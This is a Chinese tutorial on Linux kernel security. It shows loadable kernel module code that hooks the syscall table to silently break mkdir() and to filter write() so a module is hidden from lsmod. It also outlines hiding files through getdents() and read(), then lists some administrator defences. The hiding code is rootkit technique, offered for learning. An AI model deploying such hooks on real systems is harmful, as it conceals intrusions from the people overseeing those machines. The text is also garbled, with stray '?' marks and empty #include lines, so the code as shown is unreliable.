Linux 内核安全
?
关键字:LKM, module, hacking ?????????????????????????
强化001班?? 李群
Linux内核是作为Monolithic architecture (单内核体系结构) 而实现的,为了获得 Microkernel architecture (微内核体系结构) 带来的可扩展性和可维护性,Linux 引入了模块 (module) 机制,(比较准确的说法是 Loadable Kernel Module, 可装载内核模块),藉此来保证内核的紧凑性和Linux本身固有的单一体系结构的优点——上下文切换速度快。
在Linux中,用户(通常需要root权限)通过modutils软件包中提供的工具,动态地将模块(如网络驱动等)插入、移出内核。这样,内核的功能可以动态地添加和删除,却不需要每次都经过冗长的关机/重启过程。因为模块运行的环境是内核,因而它具有内核特权,模块编程也就是内核编程,它是Linux Kernel Hacking 的主要工具。
本文讲述在Linux下,如何通过module 来拦截系统调用,以及Kernel Hacking 的一些防范手段。
Linux通过int 0x80 软中断实现系统调用。系统调用列表在Linux自举时通过init_IRQ( ) 调用宏 set_intr_gate 初始化。当系统调用发生时,内核检查系统调用的有效性,然后将控制权转给实际的系统调用代码。系统调用表 sys_call_table[] 可以在文件 entry.S 中找到。它看起来应该如下所示:
… …
ENTRY (sys_call_table)
? .long SYMBOL_NAME (sys_ni_syscall)?? /* …… */
? ?.long SYMBOL_NAME (sys_exit)
? ?.long SYMBOL_NAME (sys_fork)
? .long SYMBOL_NAME (sys_read)
… …
文件unistd.h 为每个系统调用规定了唯一的编号,它看起来应该如下所示:
… …
#define __NR_exit???? 1
#define __NR_fork? 2
#define __NR_read? 3
… …
不难看出,每个系统调用所对应的编号正是该系统调用在指向函数的指针数组sys_call_table[]中的下标。内核检查%eax的有效性,sys_call_table[%eax]便是用户要求的系统调用的入口指针。那么,怎样才能拦截系统调用呢?很简单,只要将sys_call_table[]中对应的入口指针替换成我们自己的函数指针即可。
好了,有了上述知识,现在可以进行编程了。作为最简单的例子,我们可以试着拦截mkdir()系统调用。
?
/*
*hack_mkdir.c ?????????????? David?? 2003-4-19
*It shows how to intercept a system call.
*/
#include ?? /*编译模块必需的头文件*/
#include
#include
?
extern void *sys_call_table [];
int (*origin_mkdir) (const char *); /*用于保存旧的系统调用*/
?
int hacked_mkdir(const char *pathname) /*新的系统调用*/
{
? return 0;
}
?
int init_module()???? /*模块入口点,初始化时调用*/
{
?? origin_mkdir=sys_call_table [__NR_mkdir];
/*保存旧系统调用*/
?? sys_call_table [__NR_mkdir] = hacked_mkdir;
??????????????????????????????????? /*替换成新系统调用*/
?? return 0;
}
?
void cleanup_module()? /*模块入口点,卸载前调用*/
{
?? sys_call_table [__NR_mkdir] = origin_mkdir;
/*复位旧系统调用*/
}
?
应用程序从main( )开始执行单个任务,而模块却只是预先注册自己以服务于将来的某个请求。插入模块时,内核调用init_module( )初始化模块;移除模块时,内核调用cleanup_module( )做一些善后工作。
如上代码所示,我们将mkdir( )系统调用换成了新的调用hacked_mkdir( ),事实上它只是一个空函数。为了编译上面的模块,我们写个Makefile文件如下:
#please modify it according to your own system
KERNELDIR=/usr/src/linux-2.4
?
CFLAGS=-D__KERNEL__ -DMODULE -I$(KERNELDIR)/include \
-O -Wall
?
include $(KERNELDIR)/configs/kernel-2.4.18-i686.config
?
ifdef CONFIG_SMP
?? CFLAGS+=-D__SMP__ -DSMP
endif
?
all: hack_mkdir.o
?
clean:
?? rm -f *.o *~ core
不要忘记rm前有个Tab键。好了,在终端下敲入make,你会发现当前文件夹下多了个文件hack_mkdir.o,这就是编译好的模块。
#/sbin/insmod hack_mkdir.o
warnning:it will taint the kernel.
#mkdir test
#ls
hack_mkdir.c ?hack_mkdir.o? Makefile
你会发现test文件夹根本就没有建立,而可怕的是系统根本就没有任何出错信息!原因很简单,因为实际的mkdir( )已经被替换成了hacked_mkdir( ),而且的它返回值是0,系统误以为它正确地建立了文件夹。
#/sbin/rmmod hack_mkdir
#mkdir test
#ls
hack_mkdir.c? hack_mkdir.o? Makefile? test
移除模块后,原有的mkdir( )系统调用得以复位,因而系统正确地建立了文件夹test。
由此我们可以看到Kernel Hacking的威力!如果一个系统的内核被入侵,其后果是相当严重的。“正如运输界有泰坦尼克等事故一样,计算机安全专家往往也容易忽略某些细节(Andrew S. Tanenbaum)。”而LKM由于其极强的隐蔽性和强大的功能,备受Linux Kernel Hackers的喜爱。所以,系统管理员绝对不能轻易地将网络上下载的模块插入到内核,因为这样做无疑等于给了入侵者root权限。在系统安全性极其重要的情况下,我们应该只相信源代码,自己手工将经过检查的源代码编译为模块。
事实上,上面的模块除了用于演示之外,基本没有任何实际用途,因为几乎任何系统管理员都可以发现这个mkdir( )异常,并且找出错误的根源。只要他/她输入/sbin/lsmod命令,就会得到如下输出:
hack_mkdir??? 8192??? 0(unused)
因而系统管理员就会知道是hack_mkdir模块搞的鬼,因而他/她可以跟踪其来源,并排除系统漏洞。
下面,我们将隐藏文件中的特定内容,比如/proc/modules中的“hack_mkdir”。首先,我们应该知道/sbin/lsmod其实就是输出了/proc/modules中的内容,此外,输出文件中的内容需要write( )系统调用,如果您不知道某个command进行了哪些系统调用,没关系,我们可以用strace系统程式来跟踪command运行时进行的系统调用。
比如,向终端写字符串“this is a test”。
?
#strace echo “this is a test”
… …
write (1, "this is a test\n", 15)?????? ?= 15
munmap (0x40056000, 4096)??????????????? ??= 0
_exit (0)?????????????????????????????? ??????= ?
?
由此可以看出向终端写字符串“this is a test”调用了write( ),其中1代表stdout,返回值15是字符串的长度。
/*
*hack_write.c???????????????? David???? 2003-4-19
*The modules shows how to hack system call write ( ) in order *that we can hide the special message in the file.
*/
?
#include
#include
#include
#include ??? /*for kmalloc() & kfree() */
#include /*for strncpy_from_user() */
#include
#include
?
extern void* sys_call_table[];
extern void kfree(const void *);
extern void* kmalloc(size_t, int);
extern char* strstr(const char *,const char *);
extern __kernel_size_t strlen(const char *);
extern long strncpy_from_user(char *,const char *,long );
?
?
int (*origin_write)(unsigned int,char*,unsigned int);
???????????????????????? /*用于保存旧系统调用*/
int hacked_write(unsigned int fd,char* buf,unsigned int count)
{
? char *kernel_buf;
? char hide_buf[]="hack_mkdir";/*我们想隐藏的信息*/
? kernel_buf= (char*) kmalloc (1024, GFP_KERNEL);
/*获取内核空闲页,Get Free Page*/
? strncpy_from_user (kernel_buf, buf, 1023); /*跨空间传输*/
? if(strstr(kernel_buf,(char *)&hide_buf)!=NULL){
??? kfree (kernel_buf);
??? return strlen(hide_buf);
/*告诉内核已经写了strlen(hide_buf)个字符*/
? }
? else{???????????? /*不是需要隐藏的信息*/
??? kfree (kernel_buf);
??? return origin_write(fd,buf,count); /*返回正常调用结果*/
? }
}
?
int init_module()
{
? origin_write=sys_call_table [__NR_write];
? sys_call_table [__NR_write] =hacked_write;
? return 0;
}
?
void cleanup_module()
{
? sys_call_table [__NR_write] =origin_write;
}
?
或许有人会问,模块中为什么要进行跨空间传输呢?这里,有两个很重要的概念就是“内核空间地址”和“用户空间地址”。内核空间地址和用户空间地址之间很大的一个差异就是,用户空间的内存是可被换出的。当内核访问用户空间指针时,相对应的页面可能已经不在内存中了,这样的话就会产生一个页面失效。在Linux中,跨空间的拷贝是由一些特定的函数完成的,它们在中定义。函数strncpy_from_user( )的作用并不限于在内核空间和用户空间之间拷贝数据,它还会检查用户空间的指针是否有效。
值得注意的是,访问用户空间的任何函数(如hacked_write( ))都必须是可重入的,并且必须能和模块里的其他函数并发执行。可重入代码(reentrant code)是指这样的代码:其中不使用任何全局变量来记录状态信息,因而可以处理交织的调用,而不会造成混淆。如果所有状态信息都是进程特定的,就不会发生冲突。在单处理器的Linux系统中,运行内核代码的进程是非抢占式的,Linux只能做用户抢先(原因很简单,因为Linus不信任内核抢先)。
上面的代码可以正常工作。将Makefile中的all:hack_mkdir.o改为all:hack_write.o便得到我们需要的Makefile。将hack_mkdir.o插入内核后,再将该模块插入内核,运行/sbin/lsmod,你会发现没有类似“hack_mkdir??????? 8192? 0(unused)”的字段,只不过多了一段有关hack_write的信息。很简单,只要将上面两个模块合二为一,我们便能隐藏我们的模块信息了。不过,系统管理员还是可以通过ls看到你的源文件、目标模块,当然我们也可以隐藏整个文件夹,拦截什么调用?getdents( )。但是,系统管理员仍然可以通过cat /xxdir/xxfilename直接输出文件内容,怎么办?拦截read( )。打不开文件,哪里还谈得上输出其内容呢?
LKM可以做很多很多事情,只要你有足够的想象力。
然而LKM并不意味着系统管理员的末日。系统管理员也可以利用LKM更轻松地管理、监视系统。
1)??? 在insmod时检查特定的命令行标志信息。这个信息可以用于标识用户的合法性。如在模块中加入:
?? char key[32]=””;
MODULE_PARM (key,”s”);???????? /*声明key为字符串型*/
int init_module()
{
? if(!strcmp(key,”root_key”)){
… …;????????????????????? /*合法时运行的代码*/
}else{
printk(KERN_ALERT “Alert message.\n”);/*报警*/
return -1;
}
return 0;
}
2)??????? 插入模块时,检查用户的gid、uid等。
我们可以通过 #include ,来引用current指针,current指向当前进程的PCB,而current->uid,current->gid便是当前进程的用户标识和用户组标识。root 的uid是0,而普通用户的uid一般不小于500。
3)?????? 限定模块只能从特定的目录插入内核,比如/root目录。因为hackers不知道这一限制,所以擅自插入模块将引起系统报警。
4)?????? 更高级的方法:添加用于保护内核的代码,然后重新编译内核,使之具有较强的安全防范能力。具体方法可以参考Moshe Bar的《Linux技术内幕》。
?
最后,我想说明,Linux是一个能带给人乐趣的系统,而LKM方面的攻防都涉及了大量的内核源代码和操作系统方面的知识。Linux Kernel Hacking 也成了Linux社区和Linux Kernel Mail List里最热门的话题。要想使系统的安全性得到保证,只有不断学习、探讨、研究,并亲自动手实践。也只有这样,才能领略到其中无穷的乐趣。请记住:Linux安全,从内核作起。
本文中所有代码均在RedHat 7.3中测试通过。
?
?
?
?
?
?
[参考书目]
《Linux技术内幕》 Moshe Bar 著,清华大学出版社
《Linux设备驱动程序》 Rubini &Corbet 著,中国电力出版社
《Linux内核2.4版源代码分析大全》李善平等著 机械工业出版社
本文地址:http://com.8s8s.com/it/it35940.htm